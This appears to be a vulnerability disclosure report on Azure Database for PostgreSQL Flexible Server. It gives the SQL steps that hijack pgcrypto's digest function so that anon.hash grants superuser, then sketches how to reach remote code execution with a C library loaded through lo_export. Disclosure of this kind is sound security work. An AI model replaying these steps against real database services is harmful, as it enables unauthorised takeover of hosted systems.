

Azure:

Database Elevate Privilege & Remote Code Execution

Platform:

Azure Database for PostgreSQL Flexible Server

Class:

Remote Code Execution

Summary:

I found a serious problem in extension anon, and anon is be allowed in azure.extensions. At first, anon will create function: anon.hash(text) which is security definer and the function's owner is superuser in azure; then the function calls digest(text,text) which belong to extensions pgcrypto and owner is me; Just by a tiny idea, I replace it with "alter role xxx with superuser" and execute anon.hash to become superuser. After as a superuser, I use postgres's features: lo_export, pg_largeobject and language 'c', which make me execute code on the host machine.

Attack Description.

1. Create a flexiable server postgres database and connect it, then examine your roles.

rolname	rolsuper	rolinherit	rolcreatorole	rolcreatedb	rolcanlogin	
azuresu	[v]	[v]	[v]	[v]	[v]	
pg_signal_backend	[]	[v]	[]	[]	[]	
pg_read_server_files	[]	[v]	[]	[]	[]	
pg_write_server_files	[]	[v]	[]	[]	[]	
pg_execute_server_program	[]	[v]	[]	[]	[]	
pg_read_all_stats	[]	[v]	[]	[]	[]	
pg_monitor	[]	[v]	[]	[]	[]	
replication	[]	[v]	[]	[]	[v]	
testtianma	[]	[v]	[v]	[v]	[v]	
pg_read_all_settings	[]	[v]	[]	[]	[]	
pg_stat_scan_tables	[]	[v]	[]	[]	[]	
azure_pg_admin	[]	[v]	[]	[]	[]	

2. Grant the create privilege about extension anon,pgcrypto and it's shared liabary.

```
az postgres flexible-server parameter set --resource-group xxx --server-name xxxxx -  
-name azure.extensions --value anon,pgcrypto
```



- First, create extension **pgcrypto** at **public**. Then replace `public.digest(text,text)` and create a test function `elevate_privilege_sql` to be called.

ABC proname	ABC prosrc	123 pronamespace
test	<code>begin execute 'alter role testtianma with superuser;'</code>	2,200
digest	<code>pg_digest</code>	2,200
digest	<code>--alter role azure_pg_admin superuser; select public.test();</code>	2,200
digest	<code>SELECT encode(public.digest(concat(seed,salt),algorithm),'hex');</code>	24,869

- With **anon** extension create at **public**, we can use `"select anon.hash('11');"` to become superuser!

`select * from pg_roles` 输入一个 SQL 表达式来过滤结果 (使用 Ctrl+Space)

	ABC rolname	rolsuper	rolinherit	rolcreatorole	rolcreatedb	rolcanlogin	rol
1	azuresu	[v]	[v]	[v]	[v]	[v]	
2	pg_signal_backend	[]	[v]	[]	[]	[]	
3	pg_read_server_files	[]	[v]	[]	[]	[]	
4	pg_write_server_files	[]	[v]	[]	[]	[]	
5	pg_execute_server_program	[]	[v]	[]	[]	[]	
6	pg_read_all_stats	[]	[v]	[]	[]	[]	
7	testtianma	[v]	[v]	[v]	[v]	[v]	
8	pg_monitor	[]	[v]	[]	[]	[]	
9	replication	[]	[v]	[]	[]	[v]	
10	pg_read_all_settings	[]	[v]	[]	[]	[]	
11	pg_stat_scan_tables	[]	[v]	[]	[]	[]	
12	azure_pg_admin	[]	[v]	[]	[]	[]	

- As a superuser, we can do more with the help of some postgres functions. We can compile a so with functions which contains `system()` call, then upload it by insert to `pg_largeobject`, use `lo_export` to export it and use language 'c' to

load it, just select the function to execute any you wanted, like ifconfig, whoami and cat xxx.

